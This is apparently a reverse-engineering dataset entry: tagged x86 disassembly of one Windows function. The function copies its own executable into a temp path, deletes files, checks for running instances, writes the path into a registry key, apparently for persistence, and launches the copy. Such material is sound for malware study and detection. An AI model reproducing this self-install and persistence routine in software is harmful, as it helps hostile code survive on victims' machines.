Function at 0x401ed0
Capabilities:
Create process on windows
Delete file
Get common file path
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1dbc
call fcn.00413d70
mov eax, dword [0x422040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov dword [ebp - 0x2a0], 0
mov dword [ebp - 0x298], 0
mov dword [ebp - 0x294], 0
xor eax, eax
mov word [ebp - 0x6f8], ax
push 0x206
push 0
lea ecx, [ebp - 0x6f6]
push ecx
call fcn.00411ad0
add esp, 0xc
xor edx, edx
mov word [ebp - 0x1830], dx
push 0x206
push 0
lea eax, [ebp - 0x182e]
push eax
call fcn.00411ad0
add esp, 0xc
xor ecx, ecx
mov word [ebp - 0x1620], cx
push 0x206
push 0
lea edx, [ebp - 0x161e]
push edx
call fcn.00411ad0
add esp, 0xc
xor eax, eax
mov word [ebp - 0x2e4], ax
xor ecx, ecx
mov dword [ebp - 0x2e2], ecx
mov dword [ebp - 0x2de], ecx
mov dword [ebp - 0x2da], ecx
mov dword [ebp - 0x2d6], ecx
mov dword [ebp - 0x2d2], ecx
mov dword [ebp - 0x2ce], ecx
mov dword [ebp - 0x2ca], ecx
mov word [ebp - 0x2c6], cx
mov dx, word [0x41fb68]
mov word [ebp - 0x290], dx
push 0x7e
push 0
lea eax, [ebp - 0x28e]
push eax
call fcn.00411ad0
add esp, 0xc
mov cx, word [0x41fb6c]
mov word [ebp - 0x1210], cx
push 0x7e
push 0
lea edx, [ebp - 0x120e]
push edx
call fcn.00411ad0
add esp, 0xc
xor eax, eax
mov word [ebp - 0x98c], ax
mov cx, word [0x41fb70]
mov word [ebp - 0x988], cx
push 0x7e
push 0
lea edx, [ebp - 0x986]
push edx
call fcn.00411ad0
add esp, 0xc
xor eax, eax
mov word [ebp - 0x1624], ax
xor ecx, ecx
mov word [ebp - 0x1418], cx
push 0x206
push 0
lea edx, [ebp - 0x1416]
push edx
call fcn.00411ad0
add esp, 0xc
xor eax, eax
mov word [ebp - 0x2c4], ax
xor ecx, ecx
mov dword [ebp - 0x2c2], ecx
mov dword [ebp - 0x2be], ecx
mov dword [ebp - 0x2ba], ecx
mov dword [ebp - 0x2b6], ecx
mov dword [ebp - 0x2b2], ecx
mov dword [ebp - 0x2ae], ecx
mov dword [ebp - 0x2aa], ecx
mov word [ebp - 0x2a6], cx
mov dword [ebp - 0x4ec], 0
mov dword [ebp - 0x29c], 0
xor edx, edx
mov word [ebp - 0x900], dx
push 0x206
push 0
lea eax, [ebp - 0x8fe]
push eax
call fcn.00411ad0
add esp, 0xc
xor ecx, ecx
mov word [ebp - 0x210], cx
push 0x206
push 0
lea edx, [ebp - 0x20e]
push edx
call fcn.00411ad0
add esp, 0xc
mov dword [ebp - 0x2a4], 0
push 0x200
push 0
lea eax, [ebp - 0x4e8]
push eax
call fcn.00411ad0
add esp, 0xc
push 1
lea ecx, [ebp - 0x4e8]
call fcn.00403830
add esp, 4
mov dword [ebp - 0x298], eax
push 0x104
lea ecx, [ebp - 0x1830]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea edx, [ebp - 0x6f8]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x41fb74
push 0x104
lea eax, [ebp - 0x6f8]
push eax
call fcn.00408e4e
add esp, 0xc
lea ecx, [ebp - 0x6f8]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
cmp dword [ebp - 0x298], 0
je 0x40255a
lea edx, [ebp - 0x6f8]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x360]
push eax
push 0x104
lea ecx, [ebp - 0x6f8]
push ecx
call fcn.00408e4e
add esp, 0xc
push 0x41fb8c
push 0x104
lea edx, [ebp - 0x6f8]
push edx
call fcn.00408e4e
add esp, 0xc
lea eax, [ebp - 0x6f8]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [ebp - 0x340]
push ecx
push 0x10
lea edx, [ebp - 0x2e4]
push edx
call fcn.00408ed6
add esp, 0xc
lea ebx, [ebp - 0x6f8]
lea edi, [ebp - 0x340]
call fcn.00403a7d
lea esi, [ebp - 0x340]
call fcn.00403b12
cmp eax, 1
jne 0x4021e5
xor eax, eax
jmp 0x402ff9
lea eax, [ebp - 0x340]
mov dword [ebp - 0x1c74], eax
lea ecx, [ebp - 0x900]
mov dword [ebp - 0x1c78], ecx
mov edx, dword [ebp - 0x1c78]
mov dword [ebp - 0x1c7c], edx
mov eax, dword [ebp - 0x1c74]
mov cx, word [eax]
mov word [ebp - 0x1c7e], cx
mov edx, dword [ebp - 0x1c78]
mov ax, word [ebp - 0x1c7e]
mov word [edx], ax
mov ecx, dword [ebp - 0x1c74]
add ecx, 2
mov dword [ebp - 0x1c74], ecx
mov edx, dword [ebp - 0x1c78]
add edx, 2
mov dword [ebp - 0x1c78], edx
cmp word [ebp - 0x1c7e], 0
jne 0x402209
lea eax, [ebp - 0x340]
mov dword [ebp - 0x1c84], eax
lea ecx, [ebp - 0x210]
mov dword [ebp - 0x1c88], ecx
mov edx, dword [ebp - 0x1c88]
mov dword [ebp - 0x1c8c], edx
mov eax, dword [ebp - 0x1c84]
mov cx, word [eax]
mov word [ebp - 0x1c8e], cx
mov edx, dword [ebp - 0x1c88]
mov ax, word [ebp - 0x1c8e]
mov word [edx], ax
mov ecx, dword [ebp - 0x1c84]
add ecx, 2
mov dword [ebp - 0x1c84], ecx
mov edx, dword [ebp - 0x1c88]
add edx, 2
mov dword [ebp - 0x1c88], edx
cmp word [ebp - 0x1c8e], 0
jne 0x402275
lea eax, [ebp - 0x210]
add eax, 0xfffffffe
mov dword [ebp - 0x1c94], eax
mov ecx, dword [ebp - 0x1c94]
mov dx, word [ecx + 2]
mov word [ebp - 0x1c96], dx
add dword [ebp - 0x1c94], 2
cmp word [ebp - 0x1c96], 0
jne 0x4022cc
mov edi, dword [ebp - 0x1c94]
mov eax, dword [0x41fb98]
mov dword [edi], eax
mov ecx, dword [0x41fb9c]
mov dword [edi + 4], ecx
mov edx, dword [0x41fba0]
mov dword [edi + 8], edx
lea eax, [ebp - 0x900]
push eax
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
mov dword [ebp - 0x2a4], eax
cmp dword [ebp - 0x2a4], 0
je 0x4023b9
mov ecx, dword [ebp - 0x2a4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [ebp - 0x210]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x2a4], eax
mov dword [ebp - 0x1a34], 0
lea eax, [ebp - 0x900]
push eax
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
mov dword [ebp - 0x2a4], eax
cmp dword [ebp - 0x2a4], 0
je 0x4023b9
cmp dword [ebp - 0x1a34], 5
jge 0x4023b9
mov ecx, dword [ebp - 0x2a4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x1a34]
add edx, 1
mov dword [ebp - 0x1a34], edx
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402364
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x6f8]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [ebp - 0x4e4]
mov dword [ebp - 0x1c9c], ecx
lea edx, [ebp - 0x1210]
mov dword [ebp - 0x1ca0], edx
mov eax, dword [ebp - 0x1ca0]
mov dword [ebp - 0x1ca4], eax
mov ecx, dword [ebp - 0x1c9c]
mov dx, word [ecx]
mov word [ebp - 0x1ca6], dx
mov eax, dword [ebp - 0x1ca0]
mov cx, word [ebp - 0x1ca6]
mov word [eax], cx
mov edx, dword [ebp - 0x1c9c]
add edx, 2
mov dword [ebp - 0x1c9c], edx
mov eax, dword [ebp - 0x1ca0]
add eax, 2
mov dword [ebp - 0x1ca0], eax
cmp word [ebp - 0x1ca6], 0
jne 0x4023f5
lea ecx, [ebp - 0x462]
mov dword [ebp - 0x1cac], ecx
lea edx, [ebp - 0x290]
mov dword [ebp - 0x1cb0], edx
mov eax, dword [ebp - 0x1cb0]
mov dword [ebp - 0x1cb4], eax
mov ecx, dword [ebp - 0x1cac]
mov dx, word [ecx]
mov word [ebp - 0x1cb6], dx
mov eax, dword [ebp - 0x1cb0]
mov cx, word [ebp - 0x1cb6]
mov word [eax], cx
mov edx, dword [ebp - 0x1cac]
add edx, 2
mov dword [ebp - 0x1cac], edx
mov eax, dword [ebp - 0x1cb0]
add eax, 2
mov dword [ebp - 0x1cb0], eax
cmp word [ebp - 0x1cb6], 0
jne 0x402461
lea ecx, [ebp - 0x442]
mov dword [ebp - 0x1cbc], ecx
lea edx, [ebp - 0x988]
mov dword [ebp - 0x1cc0], edx
mov eax, dword [ebp - 0x1cc0]
mov dword [ebp - 0x1cc4], eax
mov ecx, dword [ebp - 0x1cbc]
mov dx, word [ecx]
mov word [ebp - 0x1cc6], dx
mov eax, dword [ebp - 0x1cc0]
mov cx, word [ebp - 0x1cc6]
mov word [eax], cx
mov edx, dword [ebp - 0x1cbc]
add edx, 2
mov dword [ebp - 0x1cbc], edx
mov eax, dword [ebp - 0x1cc0]
add eax, 2
mov dword [ebp - 0x1cc0], eax
cmp word [ebp - 0x1cc6], 0
jne 0x4024cd
mov cx, word [ebp - 0x464]
mov word [ebp - 0x98c], cx
mov dx, word [ebp - 0x3c2]
mov word [ebp - 0x1624], dx
mov eax, dword [ebp - 0x320]
mov dword [ebp - 0x4ec], eax
lea ecx, [ebp - 0x360]
push ecx
push 0x10
lea edx, [ebp - 0x2c4]
push edx
call fcn.00408ed6
add esp, 0xc
jmp 0x40265c
push 0x236
push 0
lea eax, [ebp - 0x1c70]
push eax
call fcn.00411ad0
add esp, 0xc
lea esi, [ebp - 0x1c70]
call fcn.00403c7c
mov dword [ebp - 0x294], eax
cmp dword [ebp - 0x294], 0
je 0x40265c
lea ecx, [ebp - 0x1b62]
mov dword [ebp - 0x1ccc], ecx
lea edx, [ebp - 0x290]
mov dword [ebp - 0x1cd0], edx
mov eax, dword [ebp - 0x1cd0]
mov dword [ebp - 0x1cd4], eax
mov ecx, dword [ebp - 0x1ccc]
mov dx, word [ecx]
mov word [ebp - 0x1cd6], dx
mov eax, dword [ebp - 0x1cd0]
mov cx, word [ebp - 0x1cd6]
mov word [eax], cx
mov edx, dword [ebp - 0x1ccc]
add edx, 2
mov dword [ebp - 0x1ccc], edx
mov eax, dword [ebp - 0x1cd0]
add eax, 2
mov dword [ebp - 0x1cd0], eax
cmp word [ebp - 0x1cd6], 0
jne 0x4025b2
mov cx, word [ebp - 0x1b66]
mov word [ebp - 0x98c], cx
mov dx, word [ebp - 0x1b6c]
mov word [ebp - 0x1624], dx
mov edx, dword [ebp - 0x1b6a]
lea esi, [ebp - 0x1210]
call fcn.00403f89
mov edx, dword [ebp - 0x1b70]
lea esi, [ebp - 0x988]
call fcn.00403f89
lea eax, [ebp - 0x1b42]
push eax
push 0x10
lea ecx, [ebp - 0x2e4]
push ecx
call fcn.00408ed6
add esp, 0xc
mov edx, dword [ebp - 0x1c68]
mov dword [ebp - 0x4ec], edx
push 0x200
push 0
lea eax, [ebp - 0x1a30]
push eax
call fcn.00411ad0
add esp, 0xc
push 0
lea ecx, [ebp - 0x1a30]
call fcn.00403830
add esp, 4
mov dword [ebp - 0x29c], eax
cmp dword [ebp - 0x29c], 0
je 0x4028be
mov dword [ebp - 0x1cdc], 0x41fba4
lea ecx, [ebp - 0x988]
mov dword [ebp - 0x1ce0], ecx
mov edx, dword [ebp - 0x1ce0]
mov dword [ebp - 0x1ce4], edx
mov eax, dword [ebp - 0x1cdc]
mov cx, word [eax]
mov word [ebp - 0x1ce6], cx
mov edx, dword [ebp - 0x1ce0]
mov ax, word [ebp - 0x1ce6]
mov word [edx], ax
mov ecx, dword [ebp - 0x1cdc]
add ecx, 2
mov dword [ebp - 0x1cdc], ecx
mov edx, dword [ebp - 0x1ce0]
add edx, 2
mov dword [ebp - 0x1ce0], edx
cmp word [ebp - 0x1ce6], 0
jne 0x4026b7
lea eax, [ebp - 0x19aa]
mov dword [ebp - 0x1cec], eax
lea ecx, [ebp - 0x290]
mov dword [ebp - 0x1cf0], ecx
mov edx, dword [ebp - 0x1cf0]
mov dword [ebp - 0x1cf4], edx
mov eax, dword [ebp - 0x1cec]
mov cx, word [eax]
mov word [ebp - 0x1cf6], cx
mov edx, dword [ebp - 0x1cf0]
mov ax, word [ebp - 0x1cf6]
mov word [edx], ax
mov ecx, dword [ebp - 0x1cec]
add ecx, 2
mov dword [ebp - 0x1cec], ecx
mov edx, dword [ebp - 0x1cf0]
add edx, 2
mov dword [ebp - 0x1cf0], edx
cmp word [ebp - 0x1cf6], 0
jne 0x402723
lea eax, [ebp - 0x1a2c]
mov dword [ebp - 0x1cfc], eax
lea ecx, [ebp - 0x1210]
mov dword [ebp - 0x1d00], ecx
mov edx, dword [ebp - 0x1d00]
mov dword [ebp - 0x1d04], edx
mov eax, dword [ebp - 0x1cfc]
mov cx, word [eax]
mov word [ebp - 0x1d06], cx
mov edx, dword [ebp - 0x1d00]
mov ax, word [ebp - 0x1d06]
mov word [edx], ax
mov ecx, dword [ebp - 0x1cfc]
add ecx, 2
mov dword [ebp - 0x1cfc], ecx
mov edx, dword [ebp - 0x1d00]
add edx, 2
mov dword [ebp - 0x1d00], edx
cmp word [ebp - 0x1d06], 0
jne 0x40278f
mov ax, word [ebp - 0x19ac]
mov word [ebp - 0x98c], ax
mov cx, word [ebp - 0x190a]
mov word [ebp - 0x1624], cx
mov edx, dword [0x423088]
mov dword [ebp - 0x4ec], edx
cmp dword [0x423060], 3
je 0x40281b
lea eax, [ebp - 0x1418]
push eax
push 1
call fcn.00403fee
add esp, 8
jmp 0x40282c
lea ecx, [ebp - 0x1418]
push ecx
push 0
call fcn.00403fee
add esp, 8
lea edx, [ebp - 0x1418]
mov dword [ebp - 0x1d0c], edx
lea eax, [ebp - 0x1620]
mov dword [ebp - 0x1d10], eax
mov ecx, dword [ebp - 0x1d10]
mov dword [ebp - 0x1d14], ecx
mov edx, dword [ebp - 0x1d0c]
mov ax, word [edx]
mov word [ebp - 0x1d16], ax
mov ecx, dword [ebp - 0x1d10]
mov dx, word [ebp - 0x1d16]
mov word [ecx], dx
mov eax, dword [ebp - 0x1d0c]
add eax, 2
mov dword [ebp - 0x1d0c], eax
mov ecx, dword [ebp - 0x1d10]
add ecx, 2
mov dword [ebp - 0x1d10], ecx
cmp word [ebp - 0x1d16], 0
jne 0x402850
push 0x41fbc0
push 0x104
lea edx, [ebp - 0x1620]
push edx
call fcn.00408e4e
add esp, 0xc
lea eax, [ebp - 0x1620]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x200
push 0
lea ecx, [ebp - 0x4e8]
push ecx
call fcn.00411ad0
add esp, 0xc
mov dword [ebp - 0x4e8], 0x504d534d
mov edx, 0x51
mov word [ebp - 0x464], dx
mov eax, 0x2b70
mov word [ebp - 0x3c2], ax
mov dword [ebp - 0x1d1c], 0x41fbd8
lea ecx, [ebp - 0x442]
mov dword [ebp - 0x1d20], ecx
mov edx, dword [ebp - 0x1d20]
mov dword [ebp - 0x1d24], edx
mov eax, dword [ebp - 0x1d1c]
mov cx, word [eax]
mov word [ebp - 0x1d26], cx
mov edx, dword [ebp - 0x1d20]
mov ax, word [ebp - 0x1d26]
mov word [edx], ax
mov ecx, dword [ebp - 0x1d1c]
add ecx, 2
mov dword [ebp - 0x1d1c], ecx
mov edx, dword [ebp - 0x1d20]
add edx, 2
mov dword [ebp - 0x1d20], edx
cmp word [ebp - 0x1d26], 0
jne 0x402918
mov dword [ebp - 0x1d2c], 0x41fbf4
lea eax, [ebp - 0x4e4]
mov dword [ebp - 0x1d30], eax
mov ecx, dword [ebp - 0x1d30]
mov dword [ebp - 0x1d34], ecx
mov edx, dword [ebp - 0x1d2c]
mov ax, word [edx]
mov word [ebp - 0x1d36], ax
mov ecx, dword [ebp - 0x1d30]
mov dx, word [ebp - 0x1d36]
mov word [ecx], dx
mov eax, dword [ebp - 0x1d2c]
add eax, 2
mov dword [ebp - 0x1d2c], eax
mov ecx, dword [ebp - 0x1d30]
add ecx, 2
mov dword [ebp - 0x1d30], ecx
cmp word [ebp - 0x1d36], 0
jne 0x402982
mov dword [ebp - 0x1d3c], 0x41fc10
lea edx, [ebp - 0x462]
mov dword [ebp - 0x1d40], edx
mov eax, dword [ebp - 0x1d40]
mov dword [ebp - 0x1d44], eax
mov ecx, dword [ebp - 0x1d3c]
mov dx, word [ecx]
mov word [ebp - 0x1d46], dx
mov eax, dword [ebp - 0x1d40]
mov cx, word [ebp - 0x1d46]
mov word [eax], cx
mov edx, dword [ebp - 0x1d3c]
add edx, 2
mov dword [ebp - 0x1d3c], edx
mov eax, dword [ebp - 0x1d40]
add eax, 2
mov dword [ebp - 0x1d40], eax
cmp word [ebp - 0x1d46], 0
jne 0x4029ec
mov ecx, dword [0x423088]
mov dword [ebp - 0x320], ecx
cmp dword [ebp - 0x298], 0
jne 0x402a5b
cmp dword [ebp - 0x294], 0
jne 0x402a5b
cmp dword [ebp - 0x29c], 0
je 0x402ada
lea edx, [ebp - 0x290]
push edx
lea eax, [ebp - 0x462]
push eax
call fcn.00403060
add esp, 8
lea ecx, [ebp - 0x1210]
push ecx
lea edx, [ebp - 0x4e4]
push edx
call fcn.00403040
add esp, 8
lea eax, [ebp - 0x988]
push eax
lea ecx, [ebp - 0x442]
push ecx
call fcn.00403040
add esp, 8
mov dx, word [ebp - 0x98c]
mov word [ebp - 0x464], dx
mov ax, word [ebp - 0x1624]
mov word [ebp - 0x3c2], ax
mov ecx, dword [ebp - 0x4ec]
mov dword [ebp - 0x320], ecx
cmp dword [ebp - 0x4ec], 0
jne 0x402ada
mov edx, dword [0x423088]
mov dword [ebp - 0x320], edx
mov dword [ebp - 0x1d4c], 0x41fc1c
lea eax, [ebp - 0x4e4]
mov dword [ebp - 0x1d50], eax
mov ecx, dword [ebp - 0x1d50]
mov dx, word [ecx]
mov word [ebp - 0x1d52], dx
mov eax, dword [ebp - 0x1d4c]
cmp dx, word [eax]
jne 0x402b56
cmp word [ebp - 0x1d52], 0
je 0x402b4a
mov ecx, dword [ebp - 0x1d50]
mov dx, word [ecx + 2]
mov word [ebp - 0x1d54], dx
mov eax, dword [ebp - 0x1d4c]
cmp dx, word [eax + 2]
jne 0x402b56
add dword [ebp - 0x1d50], 4
add dword [ebp - 0x1d4c], 4
cmp word [ebp - 0x1d54], 0
jne 0x402af0
mov dword [ebp - 0x1d58], 0
jmp 0x402b61
sbb ecx, ecx
sbb ecx, 0xffffffff
mov dword [ebp - 0x1d58], ecx
mov edx, dword [ebp - 0x1d58]
mov dword [ebp - 0x1d5c], edx
cmp dword [ebp - 0x1d5c], 0
jne 0x402b95
movzx eax, word [ebp - 0x464]
cmp eax, 0x51
jne 0x402b95
movzx ecx, word [ebp - 0x3c2]
cmp ecx, 0x2b8e
je 0x402c8d
mov dword [ebp - 0x1d60], 0x41fc38
lea edx, [ebp - 0x462]
mov dword [ebp - 0x1d64], edx
mov eax, dword [ebp - 0x1d64]
mov dword [ebp - 0x1d68], eax
mov ecx, dword [ebp - 0x1d60]
mov dx, word [ecx]
mov word [ebp - 0x1d6a], dx
mov eax, dword [ebp - 0x1d64]
mov cx, word [ebp - 0x1d6a]
mov word [eax], cx
mov edx, dword [ebp - 0x1d60]
add edx, 2
mov dword [ebp - 0x1d60], edx
mov eax, dword [ebp - 0x1d64]
add eax, 2
mov dword [ebp - 0x1d64], eax
cmp word [ebp - 0x1d6a], 0
jne 0x402bb7
mov ecx, 0x51
mov word [ebp - 0x464], cx
mov edx, dword [0x423088]
mov dword [ebp - 0x320], edx
mov eax, 0x2b8e
mov word [ebp - 0x3c2], ax
mov dword [ebp - 0x1d70], 0x41fc44
lea ecx, [ebp - 0x4e4]
mov dword [ebp - 0x1d74], ecx
mov edx, dword [ebp - 0x1d74]
mov dword [ebp - 0x1d78], edx
mov eax, dword [ebp - 0x1d70]
mov cx, word [eax]
mov word [ebp - 0x1d7a], cx
mov edx, dword [ebp - 0x1d74]
mov ax, word [ebp - 0x1d7a]
mov word [edx], ax
mov ecx, dword [ebp - 0x1d70]
add ecx, 2
mov dword [ebp - 0x1d70], ecx
mov edx, dword [ebp - 0x1d74]
add edx, 2
mov dword [ebp - 0x1d74], edx
cmp word [ebp - 0x1d7a], 0
jne 0x402c45
mov dword [ebp - 0x1d80], 0x41fc60
lea eax, [ebp - 0x442]
mov dword [ebp - 0x1d84], eax
mov ecx, dword [ebp - 0x1d84]
mov dword [ebp - 0x1d88], ecx
mov edx, dword [ebp - 0x1d80]
mov ax, word [edx]
mov word [ebp - 0x1d8a], ax
mov ecx, dword [ebp - 0x1d84]
mov dx, word [ebp - 0x1d8a]
mov word [ecx], dx
mov eax, dword [ebp - 0x1d80]
add eax, 2
mov dword [ebp - 0x1d80], eax
mov ecx, dword [ebp - 0x1d84]
add ecx, 2
mov dword [ebp - 0x1d84], ecx
cmp word [ebp - 0x1d8a], 0
jne 0x402caf
movzx edx, word [ebp - 0x4e4]
test edx, edx
je 0x402d0d
movzx eax, word [ebp - 0x464]
test eax, eax
jg 0x402d17
jmp 0x402fe9
mov dword [ebp - 0x4e8], 0x504d534d
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00408f45
add esp, 4
xor ecx, ecx
mov word [ebp - 0x1190], cx
push 0x7fe
push 0
lea edx, [ebp - 0x118e]
push edx
call fcn.00411ad0
add esp, 0xc
lea eax, [ebp - 0x2c4]
mov dword [ebp - 0x1d90], eax
mov ecx, dword [ebp - 0x1d90]
add ecx, 2
mov dword [ebp - 0x1d94], ecx
mov edx, dword [ebp - 0x1d90]
mov ax, word [edx]
mov word [ebp - 0x1d96], ax
add dword [ebp - 0x1d90], 2
cmp word [ebp - 0x1d96], 0
jne 0x402d6a
mov ecx, dword [ebp - 0x1d90]
sub ecx, dword [ebp - 0x1d94]
sar ecx, 1
mov dword [ebp - 0x1d9c], ecx
je 0x402dd1
lea edx, [ebp - 0x2c4]
push edx
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
test eax, eax
je 0x402dd1
lea eax, [ebp - 0x2c4]
push eax
push 0x10
lea ecx, [ebp - 0x360]
push ecx
call fcn.00408ed6
add esp, 0xc
movzx edx, word [ebp - 0x360]
test edx, edx
jne 0x402e05
lea eax, [ebp - 0x1190]
push eax
push 6
push 5
call fcn.0040402a
add esp, 0xc
lea ecx, [ebp - 0x1190]
push ecx
lea edx, [ebp - 0x360]
push edx
call fcn.00403060
add esp, 8
movzx eax, word [ebp - 0x340]
test eax, eax
jne 0x402ea5
lea ecx, [ebp - 0x1190]
push ecx
push 6
push 5
call fcn.0040402a
add esp, 0xc
lea edx, [ebp - 0x1190]
push edx
lea eax, [ebp - 0x340]
push eax
call fcn.00403060
add esp, 8
lea ecx, [ebp - 0x2e4]
mov dword [ebp - 0x1da0], ecx
mov edx, dword [ebp - 0x1da0]
add edx, 2
mov dword [ebp - 0x1da4], edx
mov eax, dword [ebp - 0x1da0]
mov cx, word [eax]
mov word [ebp - 0x1da6], cx
add dword [ebp - 0x1da0], 2
cmp word [ebp - 0x1da6], 0
jne 0x402e58
mov edx, dword [ebp - 0x1da0]
sub edx, dword [ebp - 0x1da4]
sar edx, 1
mov dword [ebp - 0x1dac], edx
je 0x402ea5
lea eax, [ebp - 0x2e4]
push eax
lea ecx, [ebp - 0x340]
push ecx
call fcn.00403060
add esp, 8
mov edx, dword [0x423084]
mov dword [ebp - 0x31c], edx
cmp dword [ebp - 0x320], 0
jne 0x402ec5
mov eax, dword [0x423088]
mov dword [ebp - 0x320], eax
lea ecx, [ebp - 0x4e8]
push ecx
call fcn.004040d7
add esp, 4
mov dword [ebp - 0x2a0], eax
cmp dword [ebp - 0x2a0], 0
jne 0x402eed
jmp 0x402fe9
lea ebx, [ebp - 0x6f8]
lea edi, [ebp - 0x340]
call fcn.00403a7d
lea edx, [ebp - 0x6f8]
push edx
lea eax, [ebp - 0x1830]
push eax
mov eax, 0x32
call fcn.00404226
add esp, 8
mov dword [ebp - 0x904], 0
lea ecx, [ebp - 0x904]
push ecx
push 3
push 0
push 0x41fc80
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x402fcf
lea edx, [ebp - 0x6f8]
mov dword [ebp - 0x1db0], edx
mov eax, dword [ebp - 0x1db0]
add eax, 2
mov dword [ebp - 0x1db4], eax
mov ecx, dword [ebp - 0x1db0]
mov dx, word [ecx]
mov word [ebp - 0x1db6], dx
add dword [ebp - 0x1db0], 2
cmp word [ebp - 0x1db6], 0
jne 0x402f61
mov eax, dword [ebp - 0x1db0]
sub eax, dword [ebp - 0x1db4]
sar eax, 1
mov dword [ebp - 0x1dbc], eax
mov ecx, dword [ebp - 0x1dbc]
lea edx, [ecx + ecx + 2]
push edx
lea eax, [ebp - 0x6f8]
push eax
push 1
push 0
push 0x41fcec
mov ecx, dword [ebp - 0x904]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x402fcf
mov edx, dword [ebp - 0x904]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 1
push 0
push 0x41fcf4
lea eax, [ebp - 0x6f8]
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [ebp - 0x2a0], 1
mov eax, dword [ebp - 0x2a0]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00408e3f
mov esp, ebp
pop ebp
ret